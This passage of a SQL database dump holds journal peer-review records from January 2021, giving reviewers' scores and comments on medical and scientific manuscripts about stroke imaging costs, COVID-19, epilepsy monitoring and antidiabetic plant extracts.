first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2939,15826,6848,NULL,'2','r','n','y','n','Thanks for paper i think macklin effect should be told more in details.Ihave nothing else  to add on','Thanks for giving me an oppurtunity for review this paper\r\n? think macklin effect should be told more in details','2021-01-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2940,11519,7093,NULL,'4','5','n','Y','y','strongly recommended as today we are using mobile on a large number ','nill','2021-01-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2943,15826,7030,NULL,'2','g','y','y','y','Thanks for this great paper. \r\n-Grammar and spelling  should be checked\r\n-References should mentioned in paper just by numbers\r\n-?s number of patients enough ? ?s power analysis made?\r\n- ? think there is bias because of  patient grouping. patients received chemotherapy should be mentioned as  different group  not as a subgroup. Because as mentioned in paper chemotherapy effect immune response. if  patients that  got chemotherapy not separated from non chemo group this affects the statistical analysis. statistics should be checked in this manner\r\n- changes in paper should be mentioned in revision  with yellow highlighter\r\n','Thanks for giving me an oppurtunity for review this paper\r\n-Grammar and spelling  should be checked\r\n-References should mentioned in paper just by numbers\r\n-?s number of patients enough ? ?s power analysis made?\r\n- ? think there is bias because of  patient grouping. patients received chemotherapy should be mentioned as  different group  not as a subgroup. Because as mentioned in paper chemotherapy effect immune response. if  patients that  got chemotherapy not separated from non chemo group this affects the statistical analysis. statistics should be checked in this manner\r\n- changes in paper should be mentioned in revision  with yellow highlighter\r\n','2021-01-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2944,11354,7063,NULL,'4','R','Y','Y','Y','This case report on anterior rhinorrhea demonstrates the causes of osteo-meningeal breaches. Figure 3 may be revised to indicate the differences between two images in the figure. Careful proofreading including Abstract is needed.','','2021-01-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2947,15589,6851,NULL,'4','G','Y','Y','Y','1.	Remove (.) from the title\r\n2.	I think it is better to remove (First and foremost,) and just replace it First\r\n3.	Please put reference number between brackets ().\r\n4.	Please complete this sentence “And the Sixth Edition” of what?\r\n5.	Please correct this “And we report that Gautret, et al,” to “ Gautret, et al, report”\r\n6.	Please mention more details about clinical trials for example number of cases\r\n7.	Revise the reference well according to journal instructions for example page number of reference 1, 2, 17, 18, 21,22,25 and unify page format number.\r\n\r\n','','2021-01-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2948,15586,6851,NULL,'3','G','Y','Y','Y','Title\r\nReplace application with usage.\r\nPlease add to the title the country/area eg. In Morocco.\r\n\r\nPlease re-write the abstract, adding more details to the body, such as some statistics.\r\n\r\nPlease proofread the language.\r\n\r\n','Please see the comments above.','2021-01-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2950,13225,6368,NULL,'4','G','Y','Y','Y','The article entitled \" Potential role of MRI in reducing the cost burden of stroke mimic patients \" is a research article which explain role of MRI in reducing the cost burden of stroke mimic patients. And found that Unnecessary admission and stroke investigations for SM patients can impose huge expenses on health care system. Though MRI was more expensive than CT in assessing stroke, due to lower LOS of the patients in the MRI group, the overall hospital costs were not different.  The article is very interesting and useful for future study. With proper tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" Potential role of MRI in reducing the cost burden of stroke mimic patients \" is a research article which explain role of MRI in reducing the cost burden of stroke mimic patients. And found that Unnecessary admission and stroke investigations for SM patients can impose huge expenses on health care system. Though MRI was more expensive than CT in assessing stroke, due to lower LOS of the patients in the MRI group, the overall hospital costs were not different.  The article is very interesting and useful for future study. With proper tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2952,5467,7117,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2953,5467,7117,NULL,'4','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2954,5467,7102,NULL,'5','G','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2955,5467,7102,NULL,'5','G','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2956,15586,6848,NULL,'4','R','Y','Y','Y','Abstract\r\nPlease add a final statement at the end, summarizing the case/conclusion.\r\n\r\nPlease try to arrange the patient’s details into a table for better presentation.\r\n\r\nAll images need a title and legend/s.\r\n\r\nPlease merge the mechanism section with the discussion.\r\n\r\n\r\n','I have made suggestions above.','2021-01-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2959,13225,6684,NULL,'4','G','Y','Y','Y','The article entitled \" New onset ocular myasthenia gravis after pembrolizumab therapy\" is a case report which explain a rare case of new onset ocular myasthenia gravis in a patient with advanced non-small cell lung carcinoma who became symptomatic after 4 cycles of Pembrolizumab. And found that myasthenia gravis can be a paraneoplastic syndrome for non-small cell lung carcinoma but evidence supporting this association is lacking. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" New onset ocular myasthenia gravis after pembrolizumab therapy\" is a case report which explain a rare case of new onset ocular myasthenia gravis in a patient with advanced non-small cell lung carcinoma who became symptomatic after 4 cycles of Pembrolizumab. And found that myasthenia gravis can be a paraneoplastic syndrome for non-small cell lung carcinoma but evidence supporting this association is lacking. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2962,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2963,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2964,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','Accepted','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2965,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2966,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2967,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2968,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2969,13913,6934,NULL,'5','g','y','y','y','Diabetes mellitus (DM), commonly known as diabetes, is a group of metabolic disorders characterized by a high blood sugar level over a prolonged period of time. In this experimental study, authors main goal is to investigate the hypoglycemic and antidiabetic effect of Cynodon dactylon in diabetic induced rodents along with side effects analysis and to determine the hypoglycemic outcome of C. dactylon extract and ascertain its safety profile.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2970,13225,6905,NULL,'4','G','Y','Y','Y','The article entitled \" Factors Contributing to the Length of Stay in Patients Admitted to the Epilepsy Monitoring Unit\" is a research article which explain factors that contributed to prolonged length of stay (LOS) during EMU admission included technical, prolonged time to the first seizures, not recording the habitual seizures, presence of complications, observation after resuming AED, completion of phase I investigation, or a surgical procedure performed during the same admission. And found that factors affecting the length of hospital stay or period of EEG recording during the admission should be taken into account when planning EMU admissions to minimize the possible negative outcomes and complication. These results help build an EMU pathway that could shorten the length of stay with better assessment and plan. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" Factors Contributing to the Length of Stay in Patients Admitted to the Epilepsy Monitoring Unit\" is a research article which explain factors that contributed to prolonged length of stay (LOS) during EMU admission included technical, prolonged time to the first seizures, not recording the habitual seizures, presence of complications, observation after resuming AED, completion of phase I investigation, or a surgical procedure performed during the same admission. And found that factors affecting the length of hospital stay or period of EEG recording during the admission should be taken into account when planning EMU admissions to minimize the possible negative outcomes and complication. These results help build an EMU pathway that could shorten the length of stay with better assessment and plan. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2973,11689,6989,NULL,'5','g','y','y','y','Good article about Penaeid shrimp (Penaeus monodon)\r\nThis paper is relevant and interesting and is well written, the text is clear and easy to read. Good work accepted for publication\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2974,5467,7125,NULL,'5','G','y','y','y',' This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n','','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2975,5467,7125,NULL,'5','G','y','y','y','\r\n This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n',' This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n\r\n','2021-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2980,13913,7014,NULL,'5','g','y','y','y','The posterior communicating artery (PCoA) is a significant anastomotic link between the anterior and posterior cerebrovascular systems. Occlusion, hypoplasia or aplasia of the PCoA can significantly affect arterial supply to the brain \r\nGood article about Bilateral Hypoplasia. The aim of this study is to identify the clinical consequences of bilateral hypoplasia of the posterior communicating arteries (PCoAs) in order to provide a clue to neurosurgeons and neurologists in their work to diagnose and treat patients with stroke symptoms.\r\nThis study showed that aplasia of one of the two PCoAs associated with hypoplasia of the controlateral artery caused ischemic stroke in the brainstem, thus revealing the role of PCoAs in ensuring the posterior circulation in case of occlusion of the vertebro-basilar system.\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2982,15588,6851,NULL,'1','g','y','y','y','The manuscript not a research , Its a collection  of notes .','The manuscript not a research , Its a collection  of notes .','2021-01-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2983,11689,7062,NULL,'5','g','y','y','y','The current novel coronavirus (nCoV) pandemic, COVID-19, was first reported in December 2019 in Wuhan, China, and has spread globally, causing startling loss of life, stalling the global economy, and disrupting social life. One of the challenges to contain COVID-19 is convincing people to adopt personal hygiene, social distancing, and self-quarantine practices that are related to knowledge, attitudes, and practices (KAP) of the residents of respective countries.\r\nThis study indicated a panic fuelled by poor understanding of COVID-19 associated facts and the need for the government to ensure more granular and targeted awareness campaigns in a transparent and factual manner to foster public confidence and ensure more meaningful public participation in mitigation measures. This study provides a KAP baseline regarding COVID-19 among undergraduate nursing students in King AbdAziz University.\r\n\r\nThis is an interesting study and the authors have collected a unique dataset. The paper is generally well written and structured.\r\n','','2021-01-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2986,16051,6905,NULL,'4','R','Y','Y','Y','This study provides observational findings on the factors affecting the length of hospital stay but some minor issues needed to be addressed.\r\n1) There are 5-level stratification based on LOS in Table 2 or Days of EEG Recording in Table 2. The interval in \"LOS\" is every 3 days while the interval in \"Days of EEG Recording\" is every 5 days. What are the rationales for 5-level stratification and its interval?\r\n2) Over half of the EMU patients were concluded to have a surgical plan, leaving only 16 non-conclusive cases and 23 non-surgical cases in Table 2. Moreover, a 5-level stratification based on LOS or Days of EEG recording would make insufficient sample size in each subgroup in \"Non-Conclusive\" and \"Non-surgical\" group. I would suggest that the authors should reconsider stratification levels and subgroup categorization in these two groups.','This article seems acceptable to me. ','2021-01-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2987,16051,7132,NULL,'3','G','Y','Y','Y','This article has its significance for MS patients in the era of COVID-19 pandemic. However, the details of critical information concerning the MS and COVID-19 after positive COVID-19 PCR result were missing in this case report:\r\n1) Neurologic physical examinations or MRI for determining the status of MS \r\n2) Lymphocyte counts for assessing the impact of fingolimod\r\n3) Chest X-ray (if there is one) for evaluating the severity of COVID-19\r\n4) The dosage regimen of both fingolimod and azithromycin','Most of the critical numbers, physical examination, lab tests and imagings after positive COVID-19 PCR results are missing. I would suggest that the authors try their best to provide at least some of the information above and re-evaluate. ','2021-01-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2988,15857,7095,NULL,'4','G','y','y','y','CICLOSPORINA Y METOTREXATO: POTENCIAL ALTERNATIVA DE TRATAMIENTO PARA LA COVID 19 \r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\n-Método:\r\nSe requiere una sección clara del método utilizado.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”. Según Resumen y Métodos, el artículo se centra en la revisión (narrativa), no es pertinente la revisión de la fisiopatología, etiología, etc. De COVID-19 (o debe reformularse lo escrito en Resumen u Métodología). Aconsejo centrarse el la revisión del tratamiento con metrotexate y ciclosporina y suprimir el resto.\r\n','CICLOSPORINA Y METOTREXATO: POTENCIAL ALTERNATIVA DE TRATAMIENTO PARA LA COVID 19 \r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\n-Método:\r\nSe requiere una sección clara del método utilizado.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”. Según Resumen y Métodos, el artículo se centra en la revisión (narrativa), no es pertinente la revisión de la fisiopatología, etiología, etc. De COVID-19 (o debe reformularse lo escrito en Resumen u Métodología). Aconsejo centrarse el la revisión del tratamiento con metrotexate y ciclosporina y suprimir el resto.\r\n','2021-01-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2991,11689,7102,NULL,'5','g','y','y','y','Sotretinoin, a retinoid derivate used in acne treatment, has a variety of side effects involving the musculoskeletal system; however, sacroiliitis is rarely observed. Sacroiliitis was identified and monitored using magnetic resonance imaging (MRI). Our aim was to present evidence of the presence of sacroiliitis simultaneously with the use of isotretinoin, with complete resolution of the serological changes and the complete blood count after discontinuing the drug, despite persistent acne. \r\nOverall the manuscript is well written.\r\n','','2021-01-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2995,13225,6580,NULL,'4','G','Y','Y','Y','The article entitled \" Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature\" is a review article which explain analyse substance abuse and abnormalities in neurotransmission focusing on crystal methamphetamine and its physiological, psychological and social implications. And found that physiological changes, psychological disorders and abuse of crystal methamphetamine among homosexual men tested positive for Human Immunodeficiency Virus (HIV) as well as a need for better health social care services and treatment in order to overcome homophobic stigmatization. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','The article entitled \" Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature\" is a review article which explain analyse substance abuse and abnormalities in neurotransmission focusing on crystal methamphetamine and its physiological, psychological and social implications. And found that physiological changes, psychological disorders and abuse of crystal methamphetamine among homosexual men tested positive for Human Immunodeficiency Virus (HIV) as well as a need for better health social care services and treatment in order to overcome homophobic stigmatization. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can 